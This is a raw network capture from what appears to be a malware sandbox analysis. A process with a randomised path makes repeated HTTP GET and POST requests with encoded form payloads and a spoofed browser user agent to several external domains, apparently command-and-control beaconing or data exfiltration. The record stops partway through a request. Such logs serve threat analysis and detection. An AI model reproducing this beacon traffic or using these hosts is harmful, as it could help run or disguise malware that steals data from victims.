8	192.168.2.7	53156	176.117.73.104	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:30.390229940 CET	550	OUT	GET /i6zb/?0PIXBf9=6B2/7Ngl58s2pznOHRe+vJ9NgeSMQEkiwdm42/mNvrNW/DcFgEbztbyoGAni7ddU1GsG6dsX45s7M+CgnpRasEd6qu0hZk1EhvCSzFnjn53BAZCqqKYjVrue1TDSDBq9qg8+DFp/ZHMc&tD_=f00xUVKh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.bionanosolutions.info User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:13:31.532265902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 18 Nov 2024 12:13:31 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Tue, 15 Oct 2024 10:38:56 GMT Connection: close ETag: "670e4640-2dae" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-family:Roboto;font-size:inherit;line-height:inherit;color:inherit;background-color:rgba(0,0,0,0)}input,textarea{width:100%}
Nov 18, 2024 13:13:31.532334089 CET	1236	IN	Data Raw: 62 75 74 74 6f 6e 2c 6f 70 74 69 6f 6e 2c 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 75 6c 20 6c 69 7b 6c 69 73 Data Ascii: button,option,select{cursor:pointer}a{color:inherit;text-decoration:none}ul li{list-style:none}img{vertical-align:top}h1,h2,h3,h4,h5,h6{font-weight:inherit;font-size:inherit}.lock body{overflow:hidden;touch-action:none;-ms-scroll-chaining:none
Nov 18, 2024 13:13:31.532392979 CET	1236	IN	Data Raw: 3a 30 3b 74 6f 70 3a 31 30 70 78 3b 77 69 64 74 68 3a 34 70 78 3b 68 65 69 67 68 74 3a 34 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 69 6e 64 6f 77 2d 6d Data Ascii: :0;top:10px;width:4px;height:4px;border-radius:50%;background-color:#fff}.window-main__actions{display:flex;justify-content:center}.window-main__actions a{min-height:34px;border:2px solid #2b313d;display:flex;flex-direction:column;justify-cont
Nov 18, 2024 13:13:31.532521009 CET	1236	IN	Data Raw: 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 34 2e 33 30 34 38 37 38 30 34 38 38 72 65 6d 20 2b 20 32 39 2e 30 32 34 33 39 30 32 34 33 39 76 77 20 2c 38 2e 39 33 37 35 Data Ascii: .window-main{padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)}}@supports not (padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)){.window-main{padding-left:calc(1.5rem + 7.4375*(100vw - 20rem)/ 2
Nov 18, 2024 13:13:31.532572985 CET	1236	IN	Data Raw: 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 66 6f 6e 74 2d 73 69 7a 65 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 30 2e 39 31 34 36 33 34 31 34 36 33 72 65 6d 20 2b 20 32 2e 39 32 36 38 32 39 32 36 38 33 76 77 20 2c 32 2e 32 35 72 65 6d 29 29 Data Ascii: 5)}}@supports (font-size:clamp(1.5rem ,0.9146341463rem + 2.9268292683vw ,2.25rem)){.window-main__title{font-size:clamp(1.5rem ,.9146341463rem + 2.9268292683vw ,2.25rem)}}@supports not (font-size:clamp(1.5rem ,0.9146341463rem + 2.9268292683vw ,
Nov 18, 2024 13:13:31.532624006 CET	1236	IN	Data Raw: 72 65 6d 20 2b 20 30 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 30 2e 36 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 6c 69 73 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 61 6c 63 28 2e 35 36 32 35 72 65 6d 20 2b 20 2e Data Ascii: rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:clamp(0.75rem ,0.6524390244rem + 0.487804878vw ,0.875rem)){.window-main__item{padding-left:clamp(.75rem ,.6
Nov 18, 2024 13:13:31.532674074 CET	1236	IN	Data Raw: 68 20 64 3d 22 4d 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 43 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 20 32 37 36 2e 31 34 37 20 34 39 37 2e 34 34 38 20 32 35 37 2e 31 37 34 20 34 33 30 2e 38 31 34 43 32 33 38 2e 32 20 33 36 34 2e 31 38 Data Ascii: h d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.696 231.133 363.018 262.356 381.991 328.99C287.99 418.472 360.522 563.421 360.522 563.421Z" fill="#00498D" /></g>
Nov 18, 2024 13:13:31.533117056 CET	1236	IN	Data Raw: 31 5f 66 5f 32 30 30 31 5f 35 22 20 78 3d 22 36 33 2e 38 35 39 31 22 20 79 3d 22 31 34 36 2e 33 31 39 22 20 77 69 64 74 68 3d 22 33 39 34 2e 35 34 34 22 20 68 65 69 67 68 74 3d 22 34 32 36 2e 31 34 32 22 20 66 69 6c 74 65 72 55 6e 69 74 73 3d 22 Data Ascii: 1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGr
Nov 18, 2024 13:13:31.533165932 CET	1236	IN	Data Raw: 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 22 3e 59 6f 75 20 61 72 65 20 61 63 63 65 73 73 69 6e 67 20 74 68 65 20 73 69 74 65 20 76 69 61 20 48 54 54 50 53 2c 20 62 75 74 20 74 68 65 20 73 69 74 65 20 64 6f 65 73 20 6e 6f 74 20 68 Data Ascii: ="window-main__item">You are accessing the site via HTTPS, but the site does not have an SSL certificate installed.</li><li class="window-main__item">Your domain has an AAAA record, but the site only works with IPv4 on the server.</li>
Nov 18, 2024 13:13:31.533220053 CET	806	IN	Data Raw: 65 22 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 46 6c 6f 6f 64 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 72 65 73 75 6c 74 3d 22 Data Ascii: e" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="75" res

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	53157	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:36.728044033 CET	792	OUT	POST /010v/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.tals.xyz Origin: http://www.tals.xyz Referer: http://www.tals.xyz/010v/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 37 42 38 57 6c 42 70 66 6f 47 6a 47 58 72 34 64 47 75 42 58 33 42 4c 6f 2b 65 66 73 33 4f 53 72 44 73 71 2b 58 2f 52 6b 46 7a 4f 68 65 76 6b 31 41 78 73 44 35 56 6b 32 66 33 55 57 31 78 4f 66 4f 6e 4e 38 4b 75 37 67 72 4e 4a 2f 42 45 43 74 49 73 2f 59 33 70 34 45 7a 6a 45 50 52 42 78 42 67 6b 67 70 45 4a 75 76 32 75 4b 33 59 59 50 4a 4e 4f 43 37 2b 69 73 65 58 33 4e 61 71 78 75 4f 6f 6c 4c 72 48 54 31 39 6a 75 33 5a 6a 2b 44 55 55 74 7a 68 47 49 2b 6d 43 72 79 65 50 77 67 70 49 71 36 7a 65 57 4e 6b 66 53 78 72 59 31 69 50 35 76 51 35 61 34 47 46 69 4a 73 38 2f 70 57 49 2b 64 53 77 69 54 41 6c 4a 54 6f 6f 32 50 31 6b 5a 77 3d 3d Data Ascii: 0PIXBf9=7B8WlBpfoGjGXr4dGuBX3BLo+efs3OSrDsq+X/RkFzOhevk1AxsD5Vk2f3UW1xOfOnN8Ku7grNJ/BECtIs/Y3p4EzjEPRBxBgkgpEJuv2uK3YYPJNOC7+iseX3NaqxuOolLrHT19ju3Zj+DUUtzhGI+mCryePwgpIq6zeWNkfSxrY1iP5vQ5a4GFiJs8/pWI+dSwiTAlJToo2P1kZw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	53158	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:39.274394989 CET	812	OUT	POST /010v/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.tals.xyz Origin: http://www.tals.xyz Referer: http://www.tals.xyz/010v/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 37 42 38 57 6c 42 70 66 6f 47 6a 47 58 4c 49 64 64 4e 5a 58 2f 42 4c 33 78 2b 66 73 34 75 53 52 44 73 6d 2b 58 2b 55 68 47 42 61 68 5a 4e 73 31 42 31 77 44 36 56 6b 32 58 58 55 54 34 52 4f 45 4f 6e 51 44 4b 76 58 67 72 4e 64 2f 42 46 79 74 50 66 58 62 32 35 34 47 79 54 45 4e 63 68 78 42 67 6b 67 70 45 4a 72 41 32 75 53 33 62 70 66 4a 50 71 57 34 7a 43 73 64 42 6e 4e 61 38 42 75 4b 6f 6c 4c 4a 48 57 4a 62 6a 72 37 5a 6a 36 48 55 55 63 7a 69 64 34 2b 67 4d 4c 7a 2b 4c 67 4d 6d 46 37 76 4d 45 57 64 68 57 77 5a 55 51 6a 6a 74 6a 4e 63 56 45 70 2b 2b 6d 4c 49 4b 6f 50 4c 39 38 63 57 6f 76 78 30 45 57 6b 4e 43 37 64 55 67 50 4d 6f 52 4d 41 71 57 72 39 4e 67 6d 4b 72 38 61 67 5a 39 6f 77 67 3d Data Ascii: 0PIXBf9=7B8WlBpfoGjGXLIddNZX/BL3x+fs4uSRDsm+X+UhGBahZNs1B1wD6Vk2XXUT4ROEOnQDKvXgrNd/BFytPfXb254GyTENchxBgkgpEJrA2uS3bpfJPqW4zCsdBnNa8BuKolLJHWJbjr7Zj6HUUczid4+gMLz+LgMmF7vMEWdhWwZUQjjtjNcVEp++mLIKoPL98cWovx0EWkNC7dUgPMoRMAqWr9NgmKr8agZ9owg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	53159	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:41.823069096 CET	1825	OUT	POST /010v/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.tals.xyz Origin: http://www.tals.xyz Referer: http://www.tals.xyz/010v/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 37 42 38 57 6c 42 70 66 6f 47 6a 47 58 4c 49 64 64 4e 5a 58 2f 42 4c 33 78 2b 66 73 34 75 53 52 44 73 6d 2b 58 2b 55 68 47 42 43 68 5a 34 34 31 42 53 45 44 37 56 6b 32 5a 33 55 53 34 52 50 63 4f 6e 49 48 4b 76 4b 56 72 50 6c 2f 41 6e 36 74 4b 75 58 62 38 35 34 47 33 6a 45 41 52 42 77 56 67 6b 51 79 45 4a 37 41 32 75 53 33 62 71 58 4a 47 65 43 34 78 43 73 65 58 33 4d 56 71 78 75 79 6f 6c 44 7a 48 58 59 67 6a 59 7a 5a 6a 65 6a 55 48 2b 72 69 41 49 2b 59 42 72 7a 63 4c 67 42 6d 46 2f 47 2f 45 58 5a 4c 57 7a 35 55 42 79 58 37 6d 76 4d 61 65 70 65 61 74 62 59 42 39 64 58 30 2f 4b 57 32 6e 77 6c 6d 54 33 52 66 33 4d 4d 61 43 38 78 4a 51 51 4f 39 77 66 78 6b 6a 4e 75 49 42 7a 4e 73 31 31 4b 57 6f 58 6a 56 76 35 66 55 4f 6a 38 79 4b 43 59 4d 32 57 51 6b 33 34 59 4f 77 37 58 45 5a 33 72 53 56 4a 76 77 49 6b 2f 4a 31 49 77 4e 6e 50 57 45 4e 6e 6a 51 49 76 68 41 43 52 43 65 49 4a 47 34 6e 56 52 36 2f 61 38 7a 76 4d 49 35 4f 31 50 57 4a 39 67 67 41 41 6f 46 58 6e 2f 67 77 79 47 50 76 76 [TRUNCATED] Data Ascii: 0PIXBf9=7B8WlBpfoGjGXLIddNZX/BL3x+fs4uSRDsm+X+UhGBChZ441BSED7Vk2Z3US4RPcOnIHKvKVrPl/An6tKuXb854G3jEARBwVgkQyEJ7A2uS3bqXJGeC4xCseX3MVqxuyolDzHXYgjYzZjejUH+riAI+YBrzcLgBmF/G/EXZLWz5UByX7mvMaepeatbYB9dX0/KW2nwlmT3Rf3MMaC8xJQQO9wfxkjNuIBzNs11KWoXjVv5fUOj8yKCYM2WQk34YOw7XEZ3rSVJvwIk/J1IwNnPWENnjQIvhACRCeIJG4nVR6/a8zvMI5O1PWJ9ggAAoFXn/gwyGPvvGmdFuoxD1vqtgX/hmdxOaf3uW0rYuIFmJJwteDetKyKgWCd9CjDbHvsAz04yehOa4MBvxi4blkkoGQ82rKzLxnGBpe9p6sPL84QvjjK4U73EYWhKyHlxZ6NynsTwwsjznzldG7mfSK8ogod2I30i3U1kPy/hfIVtzF8gWi8cPravNQn1oLOxz+DBfjJiW3tFjNqcjhnPx1cUyAMj+43MHTBFLGfAwD6yRpii6ajortr5zv4rUO2s0iVrGijF2IGZQ3jbHIEavJMTaxgfKslUEw7ZnCrRuzcq1nXOtUliSjzDprsuT4GKzGFEQP6vevqRRcFYVI3BrDzr8nJe7Hmt8YvttdZkQ1bh6eu7zdov2Bukg9A3BFG193XDJp2BCBwzBqwNWC8b3ZqhzYh5Glk1HnL4spOW1xNU3G6hOPDJ2i3eTms+FzrICfve050wrsQMdMGE+zeeeBbYF42dGHtK/kYC236hohw1Nb4O92H/2w8C3fodKNNzRQUPBM4KYDf4PdjmztRJPRG68bWDNb/Qhe1zaS722SqgFPb9dLTlcEqeyWuSmshIOz4NUW9l6AWiFAgrGAC+Ve82PX1hE2lrV8lHNe1vnevt8knyD+JlKd9Fq0JzQUTqrvsYv1PlMSYTfY4dezgI3qsbmCe9Ia7eSICdiHhn+KrRaS [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	53160	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:44.361424923 CET	537	OUT	GET /010v/?0PIXBf9=2DU2m0hj/03yT64ZAvV34ivg7uPA4dfBDsSIbuQmFBnlUt8YBQQ14XEnB00q3iyOSDF3P+nMuqVdWH+dOv2myK47+wAnbzEdrDFKM4GnqLu4eJ36TYO1rG1EAVouommahjHXUR9pmevZ&tD_=f00xUVKh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.tals.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:13:45.021100998 CET	416	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 18 Nov 2024 12:13:44 GMT Content-Type: text/html Content-Length: 276 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 30 50 49 58 42 66 39 3d 32 44 55 32 6d 30 68 6a 2f 30 33 79 54 36 34 5a 41 76 56 33 34 69 76 67 37 75 50 41 34 64 66 42 44 73 53 49 62 75 51 6d 46 42 6e 6c 55 74 38 59 42 51 51 31 34 58 45 6e 42 30 30 71 33 69 79 4f 53 44 46 33 50 2b 6e 4d 75 71 56 64 57 48 2b 64 4f 76 32 6d 79 4b 34 37 2b 77 41 6e 62 7a 45 64 72 44 46 4b 4d 34 47 6e 71 4c 75 34 65 4a 33 36 54 59 4f 31 72 47 31 45 41 56 6f 75 6f 6d 6d 61 68 6a 48 58 55 52 39 70 6d 65 76 5a 26 74 44 5f 3d 66 30 30 78 55 56 4b 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?0PIXBf9=2DU2m0hj/03yT64ZAvV34ivg7uPA4dfBDsSIbuQmFBnlUt8YBQQ14XEnB00q3iyOSDF3P+nMuqVdWH+dOv2myK47+wAnbzEdrDFKM4GnqLu4eJ36TYO1rG1EAVouommahjHXUR9pmevZ&tD_=f00xUVKh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	53161	107.167.84.42	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:50.572206020 CET	804	OUT	POST /g4fs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.cssa.auction Origin: http://www.cssa.auction Referer: http://www.cssa.auction/g4fs/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 36 6c 31 6f 5a 79 57 30 5a 63 30 6c 76 6d 79 65 30 6a 58 4e 5a 6b 46 31 4a 46 50 31 6b 54 30 36 37 53 55 5a 4c 50 61 72 36 51 77 66 66 34 38 2b 31 69 58 4c 53 2f 6c 77 6e 68 41 39 34 58 71 6a 71 4f 67 39 7a 79 32 35 32 6c 4e 47 2f 2b 6d 43 69 48 78 65 4b 70 47 76 35 43 48 70 67 67 6b 34 58 30 6d 34 71 57 48 45 64 30 47 5a 30 55 4e 35 6a 50 64 37 74 42 46 55 59 56 6c 56 34 33 48 5a 66 52 54 2f 38 47 6e 57 35 45 72 6a 49 69 7a 49 35 46 47 79 6c 65 6a 76 66 59 52 59 76 48 74 6c 77 4f 4e 74 68 66 7a 6d 35 47 55 6e 62 50 30 79 5a 46 71 4b 6e 42 71 6a 67 64 38 64 59 77 71 31 53 50 4c 38 77 5a 2f 53 33 7a 65 56 46 4d 62 42 41 67 3d 3d Data Ascii: 0PIXBf9=6l1oZyW0Zc0lvmye0jXNZkF1JFP1kT067SUZLPar6Qwff48+1iXLS/lwnhA94XqjqOg9zy252lNG/+mCiHxeKpGv5CHpggk4X0m4qWHEd0GZ0UN5jPd7tBFUYVlV43HZfRT/8GnW5ErjIizI5FGylejvfYRYvHtlwONthfzm5GUnbP0yZFqKnBqjgd8dYwq1SPL8wZ/S3zeVFMbBAg==
Nov 18, 2024 13:13:51.201149940 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 18 Nov 2024 12:13:51 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 18, 2024 13:13:51.201195002 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	53162	107.167.84.42	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:53.134028912 CET	824	OUT	POST /g4fs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.cssa.auction Origin: http://www.cssa.auction Referer: http://www.cssa.auction/g4fs/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 36 6c 31 6f 5a 79 57 30 5a 63 30 6c 74 47 69 65 34 68 2f 4e 52 6b 46 32 4d 46 50 31 76 7a 30 6d 37 53 6f 5a 4c 4d 57 37 35 69 55 66 66 61 6b 2b 6b 58 6a 4c 56 2f 6c 77 74 42 42 31 6c 48 71 